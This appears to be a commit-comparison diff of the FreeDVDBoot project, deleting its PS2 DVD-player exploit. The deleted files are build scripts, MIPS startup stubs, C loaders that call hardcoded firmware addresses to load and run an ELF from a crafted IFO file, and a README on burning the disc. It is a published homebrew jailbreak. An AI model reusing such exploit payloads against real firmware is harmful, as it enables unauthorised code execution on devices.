Compare commits
9 commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
37adf59113 | ||
|
|
80e056dfff | ||
|
|
eeb9830239 | ||
|
|
07f6d1f3ad | ||
|
|
159eb4fdcc | ||
|
|
5be5469680 | ||
|
|
1126c5bd70 | ||
|
|
74c87547d3 | ||
|
|
025b142928 |
38 changed files with 267 additions and 883 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,20 +0,0 @@
|
|||
echo "Building payload"
|
||||
|
||||
ee-gcc -Ttext=0x01FFF800 payload.c -o payload.elf -nostartfiles -nostdlib -ffreestanding -Os -Wl,-z,max-page-size=0x1 # 2048
|
||||
ee-objcopy -O binary payload.elf payload.bin -Wl,-z,max-page-size=0x1
|
||||
|
||||
ENTRY=`ee-objdump -t payload.elf | grep " _start"`
|
||||
echo $ENTRY
|
||||
|
||||
# Doesn't seem to work on MinGW toolchain, so set manually if you're using that:
|
||||
#ENTRY=0x`grep -o "^\S*" <<< $ENTRY`
|
||||
ENTRY=0x01fff9a8
|
||||
|
||||
echo $ENTRY
|
||||
echo "Building crt0"
|
||||
|
||||
ee-gcc -Ttext=0x015FFF34 -DENTRY=$ENTRY crt0.S -o fullpayload.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1
|
||||
ee-objcopy -O binary fullpayload.elf fullpayload.bin -Wl,-z,max-page-size=0x1
|
||||
|
||||
# todo make all this hex editing automatic
|
||||
echo "Done. fullpayload.bin at 0x0e8c, and payload.bin at 0x3000"
|
||||
|
|
@ -1,54 +0,0 @@
|
|||
.set noreorder # If we're writing assembly, why would we want this?
|
||||
|
||||
.section .text.startup
|
||||
|
||||
.equ getBufferInternal, 0x262360
|
||||
.equ payload, (0x2000000 - 0x800) # End of RAM
|
||||
|
||||
.global _start
|
||||
_start:
|
||||
#la $a0, 0x7f
|
||||
#la $v1, 0x01
|
||||
#syscall 0x01 # ResetEE
|
||||
|
||||
#la $a0, relo
|
||||
la $a0, load
|
||||
la $a1, 0
|
||||
la $a2, 0
|
||||
la $a3, 0
|
||||
|
||||
.global ExecPS2
|
||||
ExecPS2:
|
||||
la $v1, 7
|
||||
syscall 7 # ExecPS2
|
||||
|
||||
load:
|
||||
la $a0, 0
|
||||
la $a1, 0 # 0 = VIDEO_TS.IFO, 1 = VTS_01_0.IFO
|
||||
la $a2, 0x3000 / 0x800 # lba offset in file
|
||||
la $a3, payload # Destination
|
||||
la $t0, 0x800 / 0x800 # Count
|
||||
la $t1, 0
|
||||
la $v0, getBufferInternal
|
||||
jalr $v0
|
||||
nop
|
||||
|
||||
#relo:
|
||||
# Relocate payload to end of RAM
|
||||
# la $a0, (0x2000000 - 1024)
|
||||
# la $a1, payload
|
||||
# la $a2, 2048
|
||||
# la $v0, memcpy
|
||||
# jalr $v0
|
||||
|
||||
boot:
|
||||
la $v1, 0x64; la $a0, 0; syscall 0x64 # FlushCache data writeback
|
||||
la $v1, 0x64; la $a0, 2; syscall 0x64 # FlushCache instruction invalidate
|
||||
|
||||
# Point stack to end of scratchpad RAM
|
||||
la $sp, 0x70004000
|
||||
|
||||
# Execute from relocated place
|
||||
la $v0, ENTRY
|
||||
j $v0
|
||||
nop
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,141 +0,0 @@
|
|||
#include <stddef.h>
|
||||
|
||||
// Pick one
|
||||
#define LOAD_FROM_VTS_02_0_IFO
|
||||
//#define LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO (151 - 138 - 7)
|
||||
|
||||
#define min(a, b) (((a) < (b)) ? (a) : (b))
|
||||
|
||||
#define pointToIFO ((void (*)(unsigned int index, unsigned int lba, unsigned int offset))0x2432c8)
|
||||
#define getDiscData ((void (*)(unsigned int s, void *d))0x243438)
|
||||
|
||||
#define SifIopReset ((int (*)(char *, int))0x291fb8)
|
||||
#define SifIopSync ((int (*)(void))0x292138)
|
||||
#define SifInitRpc ((void (*)(int))0x2082a0)
|
||||
#define SifExitRpc ((void (*)(void))0x208440)
|
||||
|
||||
#define getBufferInternal ((int (*)(void *filename, int type, int currentSector, void *dest, unsigned int sectorsRemaining, int curReadPos))0x262360)
|
||||
|
||||
#define ELF_PT_LOAD 1
|
||||
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
|
||||
typedef struct {
|
||||
u8 ident[16];
|
||||
u16 type;
|
||||
u16 machine;
|
||||
u32 version;
|
||||
u32 entry;
|
||||
u32 phoff;
|
||||
u32 shoff;
|
||||
u32 flags;
|
||||
u16 ehsize;
|
||||
u16 phentsize;
|
||||
u16 phnum;
|
||||
u16 shentsize;
|
||||
u16 shnum;
|
||||
u16 shstrndx;
|
||||
} elf_header_t;
|
||||
|
||||
typedef struct {
|
||||
u32 type;
|
||||
u32 offset;
|
||||
void *vaddr;
|
||||
u32 paddr;
|
||||
u32 filesz;
|
||||
u32 memsz;
|
||||
u32 flags;
|
||||
u32 align;
|
||||
} elf_pheader_t;
|
||||
|
||||
__attribute__((noreturn)) void ExecPS2(void *entry, void *gp, int argc, char **argv) {
|
||||
asm volatile("la $v1, 7; syscall 7");
|
||||
//__builtin_unreachable();
|
||||
}
|
||||
|
||||
void *memcpy_(void *dest, void *src, size_t n) {
|
||||
int i;
|
||||
for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = ((unsigned char *)src)[i];
|
||||
return dest;
|
||||
}
|
||||
|
||||
void *memset(void *dest, int c, size_t n) {
|
||||
int i;
|
||||
for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = c;
|
||||
return dest;
|
||||
}
|
||||
|
||||
static void readData(void *dest, unsigned int offset, size_t n) {
|
||||
unsigned char buffer[0x800];
|
||||
|
||||
unsigned int copied = 0;
|
||||
#define remaining (n - copied)
|
||||
|
||||
if(offset % 0x800) {
|
||||
getBufferInternal("", 1, offset / 0x800, buffer, 1, 0);
|
||||
memcpy_(dest, buffer + offset % 0x800, min(0x800 - (offset % 0x800), n));
|
||||
copied += min(0x800 - (offset % 0x800), n);
|
||||
}
|
||||
|
||||
if(remaining >= 0x800) {
|
||||
getBufferInternal("", 1, (offset + copied) / 0x800, dest + copied, remaining / 0x800, 0);
|
||||
copied += (remaining / 0x800) * 0x800;
|
||||
}
|
||||
|
||||
if(remaining > 0) {
|
||||
getBufferInternal("", 1, (offset + copied) / 0x800, buffer, 1, 0);
|
||||
memcpy_(dest + copied, buffer, remaining);
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((noreturn)) void _start(void) {
|
||||
//Exit(0);
|
||||
//asm volatile("la $v1, 0x04; la $a0, 0; syscall 0x04");
|
||||
|
||||
int i;
|
||||
|
||||
#ifdef LOAD_FROM_VTS_02_0_IFO
|
||||
// point to VTS_02_0.IFO
|
||||
pointToIFO(2, 0, 0);
|
||||
|
||||
// Force a read from VTS_02_0.IFO
|
||||
char head[64];
|
||||
getDiscData(64, &head);
|
||||
|
||||
#define RELATIVE_SECTOR 0
|
||||
#else
|
||||
#define RELATIVE_SECTOR LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO
|
||||
#endif
|
||||
|
||||
// Based on https://github.com/AKuHAK/uLaunchELF/blob/master/loader/loader.c
|
||||
elf_header_t eh;
|
||||
readData(&eh, RELATIVE_SECTOR * 0x800, sizeof(elf_header_t));
|
||||
|
||||
elf_pheader_t eph[eh.phnum];
|
||||
readData(&eph, RELATIVE_SECTOR * 0x800 + eh.phoff, sizeof(elf_pheader_t) * eh.phnum);
|
||||
|
||||
for (i = 0; i < eh.phnum; i++) {
|
||||
if (eph[i].type != ELF_PT_LOAD)
|
||||
continue;
|
||||
|
||||
readData(eph[i].vaddr, RELATIVE_SECTOR * 0x800 + eph[i].offset, eph[i].filesz);
|
||||
if(eph[i].memsz > eph[i].filesz) memset(eph[i].vaddr + eph[i].filesz, 0, eph[i].memsz - eph[i].filesz);
|
||||
}
|
||||
|
||||
asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); // FlushCache data writeback
|
||||
asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); // FlushCache instruction invalidate
|
||||
|
||||
//while(!SifIopReset("", 0));
|
||||
//while(!SifIopSync());
|
||||
|
||||
//while(!SifIopReset("rom0:UDNL rom0:EELOADCNF", 0));
|
||||
SifIopReset("rom0:UDNL rom0:EELOADCNF", 0);
|
||||
while(!SifIopSync());
|
||||
|
||||
SifInitRpc(0);
|
||||
SifExitRpc();
|
||||
|
||||
ExecPS2((void *)eh.entry, 0, 0, 0);
|
||||
}
|
||||
Binary file not shown.
|
|
@ -1,21 +0,0 @@
|
|||
echo "Building payload"
|
||||
|
||||
ee-gcc -Ttext=0x01FFF800 payload.c -o payload.elf -nostartfiles -nostdlib -ffreestanding -Os -Wl,-z,max-page-size=0x1 # 2048
|
||||
ee-objcopy -O binary payload.elf payload.bin -Wl,-z,max-page-size=0x1
|
||||
|
||||
ENTRY=`ee-objdump -t payload.elf | grep " _start"`
|
||||
echo $ENTRY
|
||||
|
||||
# Doesn't seem to work on MinGW toolchain, so set manually if you're using that:
|
||||
#ENTRY=0x`grep -o "^\S*" <<< $ENTRY`
|
||||
ENTRY=0x01fff9a8
|
||||
|
||||
echo $ENTRY
|
||||
echo "Building crt0"
|
||||
|
||||
ee-gcc -Ttext=0x01800180 -DENTRY=$ENTRY crt0.S -o fullpayload.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1
|
||||
ee-objcopy -O binary fullpayload.elf fullpayload.bin -Wl,-z,max-page-size=0x1
|
||||
|
||||
# todo make all this hex editing automatic
|
||||
#echo "Done. Insert fullpayload.bin into VIDEO_TS.IFO at offset 0x2954"
|
||||
echo "Done. fullpayload.bin at 0x2d00, and payload.bin at 0x3000"
|
||||
|
|
@ -1,62 +0,0 @@
|
|||
.set noreorder # If we're writing assembly, why would we want this?
|
||||
|
||||
.section .text.startup
|
||||
|
||||
.equ getBufferInternal, 0x261548
|
||||
.equ payload, (0x2000000 - 0x800) # End of RAM
|
||||
|
||||
.global _start
|
||||
_start:
|
||||
#la $a0, 0x7f
|
||||
#la $v1, 0x01
|
||||
#syscall 0x01 # ResetEE
|
||||
|
||||
#la $a0, relo
|
||||
la $a0, load
|
||||
la $a1, 0
|
||||
la $a2, 0
|
||||
la $a3, 0
|
||||
|
||||
.global ExecPS2
|
||||
ExecPS2:
|
||||
la $v1, 7
|
||||
syscall 7 # ExecPS2
|
||||
|
||||
load:
|
||||
la $a0, 0
|
||||
la $a1, 0 # 0 = VIDEO_TS.IFO, 1 = VTS_01_0.IFO
|
||||
la $a2, 0x3000 / 0x800 # lba offset in file
|
||||
la $a3, payload # Destination
|
||||
la $t0, 0x800 / 0x800 # Count
|
||||
la $t1, 0
|
||||
la $v0, getBufferInternal
|
||||
jalr $v0
|
||||
nop
|
||||
|
||||
#relo:
|
||||
# Relocate payload to end of RAM
|
||||
# la $a0, (0x2000000 - 1024)
|
||||
# la $a1, payload
|
||||
# la $a2, 2048
|
||||
# la $v0, memcpy
|
||||
# jalr $v0
|
||||
|
||||
boot:
|
||||
la $v1, 0x64; la $a0, 0; syscall 0x64 # FlushCache data writeback
|
||||
la $v1, 0x64; la $a0, 2; syscall 0x64 # FlushCache instruction invalidate
|
||||
|
||||
# Point stack to end of scratchpad RAM
|
||||
la $sp, 0x70004000
|
||||
|
||||
# Execute from relocated place
|
||||
la $v0, ENTRY
|
||||
j $v0
|
||||
nop
|
||||
|
||||
.space (_start + 0x2faa - 0x2d00) - .
|
||||
fpIndex:
|
||||
.byte 0x96
|
||||
.byte 0x08
|
||||
|
||||
#.space (_start + 0x3000 - 0x2d00) - .
|
||||
#.incbin "payload.bin"
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,141 +0,0 @@
|
|||
#include <stddef.h>
|
||||
|
||||
// Pick one
|
||||
#define LOAD_FROM_VTS_02_0_IFO
|
||||
//#define LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO (151 - 138 - 7)
|
||||
|
||||
#define min(a, b) (((a) < (b)) ? (a) : (b))
|
||||
|
||||
#define pointToIFO ((void (*)(unsigned int index, unsigned int lba, unsigned int offset))0x23dfc8)
|
||||
#define getDiscData ((void (*)(unsigned int s, void *d))0x23e138)
|
||||
|
||||
#define SifIopReset ((int (*)(char *, int))0x291358)
|
||||
#define SifIopSync ((int (*)(void))0x2914d8)
|
||||
#define SifInitRpc ((void (*)(int))0x208260)
|
||||
#define SifExitRpc ((void (*)(void))0x208400)
|
||||
|
||||
#define getBufferInternal ((int (*)(void *filename, int type, int currentSector, void *dest, unsigned int sectorsRemaining, int curReadPos))0x261548)
|
||||
|
||||
#define ELF_PT_LOAD 1
|
||||
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
|
||||
typedef struct {
|
||||
u8 ident[16];
|
||||
u16 type;
|
||||
u16 machine;
|
||||
u32 version;
|
||||
u32 entry;
|
||||
u32 phoff;
|
||||
u32 shoff;
|
||||
u32 flags;
|
||||
u16 ehsize;
|
||||
u16 phentsize;
|
||||
u16 phnum;
|
||||
u16 shentsize;
|
||||
u16 shnum;
|
||||
u16 shstrndx;
|
||||
} elf_header_t;
|
||||
|
||||
typedef struct {
|
||||
u32 type;
|
||||
u32 offset;
|
||||
void *vaddr;
|
||||
u32 paddr;
|
||||
u32 filesz;
|
||||
u32 memsz;
|
||||
u32 flags;
|
||||
u32 align;
|
||||
} elf_pheader_t;
|
||||
|
||||
__attribute__((noreturn)) void ExecPS2(void *entry, void *gp, int argc, char **argv) {
|
||||
asm volatile("la $v1, 7; syscall 7");
|
||||
//__builtin_unreachable();
|
||||
}
|
||||
|
||||
void *memcpy_(void *dest, void *src, size_t n) {
|
||||
int i;
|
||||
for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = ((unsigned char *)src)[i];
|
||||
return dest;
|
||||
}
|
||||
|
||||
void *memset(void *dest, int c, size_t n) {
|
||||
int i;
|
||||
for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = c;
|
||||
return dest;
|
||||
}
|
||||
|
||||
static void readData(void *dest, unsigned int offset, size_t n) {
|
||||
unsigned char buffer[0x800];
|
||||
|
||||
unsigned int copied = 0;
|
||||
#define remaining (n - copied)
|
||||
|
||||
if(offset % 0x800) {
|
||||
getBufferInternal("", 1, offset / 0x800, buffer, 1, 0);
|
||||
memcpy_(dest, buffer + offset % 0x800, min(0x800 - (offset % 0x800), n));
|
||||
copied += min(0x800 - (offset % 0x800), n);
|
||||
}
|
||||
|
||||
if(remaining >= 0x800) {
|
||||
getBufferInternal("", 1, (offset + copied) / 0x800, dest + copied, remaining / 0x800, 0);
|
||||
copied += (remaining / 0x800) * 0x800;
|
||||
}
|
||||
|
||||
if(remaining > 0) {
|
||||
getBufferInternal("", 1, (offset + copied) / 0x800, buffer, 1, 0);
|
||||
memcpy_(dest + copied, buffer, remaining);
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((noreturn)) void _start(void) {
|
||||
//Exit(0);
|
||||
//asm volatile("la $v1, 0x04; la $a0, 0; syscall 0x04");
|
||||
|
||||
int i;
|
||||
|
||||
#ifdef LOAD_FROM_VTS_02_0_IFO
|
||||
// point to VTS_02_0.IFO
|
||||
pointToIFO(2, 0, 0);
|
||||
|
||||
// Force a read from VTS_02_0.IFO
|
||||
char head[64];
|
||||
getDiscData(64, &head);
|
||||
|
||||
#define RELATIVE_SECTOR 0
|
||||
#else
|
||||
#define RELATIVE_SECTOR LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO
|
||||
#endif
|
||||
|
||||
// Based on https://github.com/AKuHAK/uLaunchELF/blob/master/loader/loader.c
|
||||
elf_header_t eh;
|
||||
readData(&eh, RELATIVE_SECTOR * 0x800, sizeof(elf_header_t));
|
||||
|
||||
elf_pheader_t eph[eh.phnum];
|
||||
readData(&eph, RELATIVE_SECTOR * 0x800 + eh.phoff, sizeof(elf_pheader_t) * eh.phnum);
|
||||
|
||||
for (i = 0; i < eh.phnum; i++) {
|
||||
if (eph[i].type != ELF_PT_LOAD)
|
||||
continue;
|
||||
|
||||
readData(eph[i].vaddr, RELATIVE_SECTOR * 0x800 + eph[i].offset, eph[i].filesz);
|
||||
if(eph[i].memsz > eph[i].filesz) memset(eph[i].vaddr + eph[i].filesz, 0, eph[i].memsz - eph[i].filesz);
|
||||
}
|
||||
|
||||
asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); // FlushCache data writeback
|
||||
asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); // FlushCache instruction invalidate
|
||||
|
||||
//while(!SifIopReset("", 0));
|
||||
//while(!SifIopSync());
|
||||
|
||||
//while(!SifIopReset("rom0:UDNL rom0:EELOADCNF", 0));
|
||||
SifIopReset("rom0:UDNL rom0:EELOADCNF", 0);
|
||||
while(!SifIopSync());
|
||||
|
||||
SifInitRpc(0);
|
||||
SifExitRpc();
|
||||
|
||||
ExecPS2((void *)eh.entry, 0, 0, 0);
|
||||
}
|
||||
Binary file not shown.
|
|
@ -1,28 +0,0 @@
|
|||
echo "Building payload"
|
||||
|
||||
ee-gcc -Ttext=0x01FFF800 payload.c -o payload.elf -nostartfiles -nostdlib -ffreestanding -Os -Wl,-z,max-page-size=0x1 # 2048
|
||||
ee-objcopy -O binary payload.elf payload.bin -Wl,-z,max-page-size=0x1
|
||||
|
||||
ENTRY=`ee-objdump -t payload.elf | grep " _start"`
|
||||
echo $ENTRY
|
||||
|
||||
# Doesn't seem to work on MinGW toolchain, so set manually if you're using that:
|
||||
#ENTRY=0x`grep -o "^\S*" <<< $ENTRY`
|
||||
ENTRY=0x01fff99c
|
||||
|
||||
echo $ENTRY
|
||||
|
||||
echo "Building crt0 (3.10)"
|
||||
|
||||
ee-gcc -Ttext=0x01500014 -DENTRY=$ENTRY -DGETBUFFERINTERNAL=0x2986a0 crt0.S -o crt0_3.10.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1
|
||||
ee-objcopy -O binary crt0_3.10.elf crt0_3.10.bin -Wl,-z,max-page-size=0x1
|
||||
|
||||
echo "Building crt0 (3.11)"
|
||||
|
||||
ee-gcc -Ttext=0x01500014 -DENTRY=$ENTRY -DGETBUFFERINTERNAL=0x2952f0 crt0.S -o crt0_3.11.elf -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1
|
||||
ee-objcopy -O binary crt0_3.11.elf crt0_3.11.bin -Wl,-z,max-page-size=0x1
|
||||
|
||||
echo "Done."
|
||||
echo "Insert crt0_3.10.bin into VIDEO_TS.IFO at offset 0x2bb4"
|
||||
echo "Insert crt0_3.11.bin into VIDEO_TS.IFO at offset 0x2954"
|
||||
echo "Insert payload.bin into VIDEO_TS.IFO at offset 0x3000"
|
||||
|
|
@ -1,41 +0,0 @@
|
|||
.set noreorder # If we're writing assembly, why would we want this?
|
||||
|
||||
.section .text.startup
|
||||
|
||||
.equ getBufferInternal, GETBUFFERINTERNAL
|
||||
.equ payload, (0x2000000 - 0x800) # End of RAM
|
||||
|
||||
.global _start
|
||||
_start:
|
||||
la $a0, load
|
||||
la $a1, 0
|
||||
la $a2, 0
|
||||
la $a3, 0
|
||||
|
||||
.global ExecPS2
|
||||
ExecPS2:
|
||||
la $v1, 7
|
||||
syscall 7 # ExecPS2
|
||||
|
||||
load:
|
||||
la $a0, 0
|
||||
la $a1, 0 # 0 = VIDEO_TS.IFO, 1 = VTS_01_0.IFO
|
||||
la $a2, 0x3000 / 0x800 # lba offset in file
|
||||
la $a3, payload # Destination
|
||||
la $t0, 0x800 / 0x800 # Count
|
||||
la $t1, 0
|
||||
la $v0, getBufferInternal
|
||||
jalr $v0
|
||||
nop
|
||||
|
||||
boot:
|
||||
la $v1, 0x64; la $a0, 0; syscall 0x64 # FlushCache data writeback
|
||||
la $v1, 0x64; la $a0, 2; syscall 0x64 # FlushCache instruction invalidate
|
||||
|
||||
# Point stack to end of scratchpad RAM
|
||||
la $sp, 0x70004000
|
||||
|
||||
# Execute from relocated place
|
||||
la $v0, ENTRY
|
||||
j $v0
|
||||
nop
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,165 +0,0 @@
|
|||
#include <stddef.h>
|
||||
|
||||
// Pick one
|
||||
#define LOAD_FROM_VTS_02_0_IFO
|
||||
//#define LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO (151 - 138 - 7)
|
||||
|
||||
#define min(a, b) (((a) < (b)) ? (a) : (b))
|
||||
|
||||
void (*pointToIFO)(unsigned int index, unsigned int lba, unsigned int offset);
|
||||
void (*getDiscData)(unsigned int s, void *d);
|
||||
|
||||
int (*getBufferInternal)(void *filename, int type, int currentSector, void *dest, unsigned int sectorsRemaining, int curReadPos);
|
||||
|
||||
int (*SifIopReset)(char *, int);
|
||||
int (*SifIopSync)(void);
|
||||
void (*SifInitRpc)(int);
|
||||
void (*SifExitRpc)(void);
|
||||
|
||||
#define ELF_PT_LOAD 1
|
||||
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
|
||||
typedef struct {
|
||||
u8 ident[16];
|
||||
u16 type;
|
||||
u16 machine;
|
||||
u32 version;
|
||||
u32 entry;
|
||||
u32 phoff;
|
||||
u32 shoff;
|
||||
u32 flags;
|
||||
u16 ehsize;
|
||||
u16 phentsize;
|
||||
u16 phnum;
|
||||
u16 shentsize;
|
||||
u16 shnum;
|
||||
u16 shstrndx;
|
||||
} elf_header_t;
|
||||
|
||||
typedef struct {
|
||||
u32 type;
|
||||
u32 offset;
|
||||
void *vaddr;
|
||||
u32 paddr;
|
||||
u32 filesz;
|
||||
u32 memsz;
|
||||
u32 flags;
|
||||
u32 align;
|
||||
} elf_pheader_t;
|
||||
|
||||
__attribute__((noreturn)) void ExecPS2(void *entry, void *gp, int argc, char **argv) {
|
||||
asm volatile("la $v1, 7; syscall 7");
|
||||
//__builtin_unreachable();
|
||||
}
|
||||
|
||||
static void *memcpy_(void *dest, void *src, size_t n) {
|
||||
int i;
|
||||
for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = ((unsigned char *)src)[i];
|
||||
return dest;
|
||||
}
|
||||
|
||||
// Todo: maybe cache last sector to save 1 or 2 reads
|
||||
static void *memset(void *dest, int c, size_t n) {
|
||||
int i;
|
||||
for(i = 0; i < n; i++) ((unsigned char *)dest)[i] = c;
|
||||
return dest;
|
||||
}
|
||||
|
||||
static void readData(void *dest, unsigned int offset, size_t n) {
|
||||
unsigned char buffer[0x800];
|
||||
|
||||
unsigned int copied = 0;
|
||||
#define remaining (n - copied)
|
||||
|
||||
if(offset % 0x800) {
|
||||
getBufferInternal("", 1, offset / 0x800, buffer, 1, 0);
|
||||
memcpy_(dest, buffer + offset % 0x800, min(0x800 - (offset % 0x800), n));
|
||||
copied += min(0x800 - (offset % 0x800), n);
|
||||
}
|
||||
|
||||
if(remaining >= 0x800) {
|
||||
getBufferInternal("", 1, (offset + copied) / 0x800, dest + copied, remaining / 0x800, 0);
|
||||
copied += (remaining / 0x800) * 0x800;
|
||||
}
|
||||
|
||||
if(remaining > 0) {
|
||||
getBufferInternal("", 1, (offset + copied) / 0x800, buffer, 1, 0);
|
||||
memcpy_(dest + copied, buffer, remaining);
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((noreturn)) void _start(void) {
|
||||
int i;
|
||||
|
||||
// Identify version based on jump target location
|
||||
if((*(void **)0x5f1f38) == (void *)0x1500014) {
|
||||
// 3.10
|
||||
pointToIFO = (void *)0x25c880;
|
||||
getDiscData = (void *)0x25c9f0;
|
||||
|
||||
getBufferInternal = (void *)0x002986a0;
|
||||
|
||||
SifIopReset = (void *)0x84fe0;
|
||||
SifIopSync = (void *)0x85110;
|
||||
SifInitRpc = (void *)0x84180;
|
||||
SifExitRpc = (void *)0x84310;
|
||||
}
|
||||
else if((*(void **)0x3EA438) == (void *)0x1500014) {
|
||||
// 3.11
|
||||
pointToIFO = (void *)0x258a28;
|
||||
getDiscData = (void *) 0x258b98;
|
||||
|
||||
getBufferInternal = (void *)0x2952f0;
|
||||
|
||||
SifIopReset = (void *)0x20e7d8;
|
||||
SifIopSync = (void *)0x20e958;
|
||||
SifInitRpc = (void *)0x208d80;
|
||||
SifExitRpc = (void *)0x208f20;
|
||||
}
|
||||
|
||||
#ifdef LOAD_FROM_VTS_02_0_IFO
|
||||
// point to VTS_02_0.IFO
|
||||
pointToIFO(2, 0, 0);
|
||||
|
||||
// Force a read from VTS_02_0.IFO
|
||||
char head[64];
|
||||
getDiscData(64, &head);
|
||||
|
||||
#define RELATIVE_SECTOR 0
|
||||
#else
|
||||
#define RELATIVE_SECTOR LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO
|
||||
#endif
|
||||
|
||||
// Based on https://github.com/AKuHAK/uLaunchELF/blob/master/loader/loader.c
|
||||
elf_header_t eh;
|
||||
readData(&eh, RELATIVE_SECTOR * 0x800, sizeof(elf_header_t));
|
||||
|
||||
elf_pheader_t eph[eh.phnum];
|
||||
readData(&eph, RELATIVE_SECTOR * 0x800 + eh.phoff, sizeof(elf_pheader_t) * eh.phnum);
|
||||
|
||||
for (i = 0; i < eh.phnum; i++) {
|
||||
if (eph[i].type != ELF_PT_LOAD)
|
||||
continue;
|
||||
|
||||
readData(eph[i].vaddr, RELATIVE_SECTOR * 0x800 + eph[i].offset, eph[i].filesz);
|
||||
if(eph[i].memsz > eph[i].filesz) memset(eph[i].vaddr + eph[i].filesz, 0, eph[i].memsz - eph[i].filesz);
|
||||
}
|
||||
|
||||
asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); // FlushCache data writeback
|
||||
asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); // FlushCache instruction invalidate
|
||||
|
||||
//while(!SifIopReset("", 0));
|
||||
//while(!SifIopSync());
|
||||
|
||||
//while(!SifIopReset("rom0:UDNL rom0:EELOADCNF", 0));
|
||||
SifIopReset("rom0:UDNL rom0:EELOADCNF", 0);
|
||||
while(!SifIopSync());
|
||||
|
||||
SifInitRpc(0);
|
||||
SifExitRpc();
|
||||
|
||||
ExecPS2((void *)eh.entry, 0, 0, 0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
128
README.md
128
README.md
|
|
@ -1,128 +0,0 @@
|
|||
# FreeDVDBoot
|
||||
PlayStation 2 DVD Player Exploit. This allows you to burn your own PlayStation 2 homebrew discs and play them on an unmodified console as seen in the [demo video](https://www.youtube.com/watch?v=ez0y-hz3VuM). With uLaunchELF as the initial program, users can include multiple homebrew programs on the same disc.
|
||||
|
||||
For technical details please refer to my [blog post](https://cturt.github.io/freedvdboot.html).
|
||||
|
||||
## Easy setup for all PS2 Slim consoles / Bravia TV
|
||||
All you need is:
|
||||
|
||||
- A compatible console (all PS2 Slim / Sony Bravia TV units are supported),
|
||||
- A DVD (not a CD), preferably a DVD-R as other types such as DVD+RW put more strain on the PS2 laser,
|
||||
- A computer with a built-in disc burner / external USB disc burner,
|
||||
|
||||
### Step 1: Download the ISO
|
||||
Download [`PREBUILT ISOs/All PS2 Slims - English language.iso`](https://github.com/CTurt/FreeDVDBoot/raw/master/PREBUILT%20ISOs/All%20PS2%20Slims%20-%20English%20language.iso)
|
||||
|
||||
### Step 2: Burn the ISO
|
||||
Please check following to ensure a good burn which the PS2 will be able to read:
|
||||
|
||||
- Clean off any dust from the disc,
|
||||
- Select lowest burning speed option,
|
||||
- Select finalise disc option,
|
||||
|
||||
### Step 3: Set console language to English
|
||||
Your console must be set to **English language** for the exploit to work (other languages cause memory contents to change).
|
||||
|
||||
To do this, boot without a disc inserted, press **Circle** to enter **System Configuration** and set your system language to **English**.
|
||||
|
||||
### Step 4: Boot!
|
||||
Insert the disc into your console, and wait. It should boot into **uLaunchELF** within a few seconds.
|
||||
|
||||
From **uLaunchELF**, you have the ability to run any homebrew you want over USB **mass** storage! Many people choose to run **FreeMCBoot** or **Fortuna** installer, as they find booting from a memory card more convenient.
|
||||
|
||||
If you want to add additional homebrew to your DVD / replace uLaunchELF, please read from [Custom disc setup](#custom-disc-setup).
|
||||
|
||||
## Troubleshooting - please read if the above didn't work
|
||||
| Problem | Solution |
|
||||
|------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| Disc doesn't spin on slim console | Press the lid down hard to ensure the sensors detect that the lid is closed. If still not working try placing some weight such as a book on the top of the console. |
|
||||
| PS2 detects the disc as "PlayStation 2 disc" instead of "DVD Video" in the browser | Your PS2 has a modchip which is incorrectly preventing the DVD player from launching. You do not need this exploit for a console with a modchip, but if you really want to try it some modchips offer the ability to temporarily disable themselves (by holding start when booting for example). |
|
||||
| PS2 displays "unable to read disc" | Please try playing a real DVD movie disc to verify that your console's DVD laser works; doing this can also recalibrate the laser which might solve the issue, as [commented here](https://github.com/CTurt/FreeDVDBoot/issues/27). |
|
||||
| PS2 freezes at black/red/green screen | If your PS2 DVD laser is really worn out, or you are using something difficult to read like a dusty DVD+RW burned on high speed, it might take some time before uLaunchELF actually starts. Please try waiting 3 minutes or so, per [this comment](https://github.com/CTurt/FreeDVDBoot/issues/3#issuecomment-651337741) |
|
||||
|
||||
Other suggestions that worked for others:
|
||||
|
||||
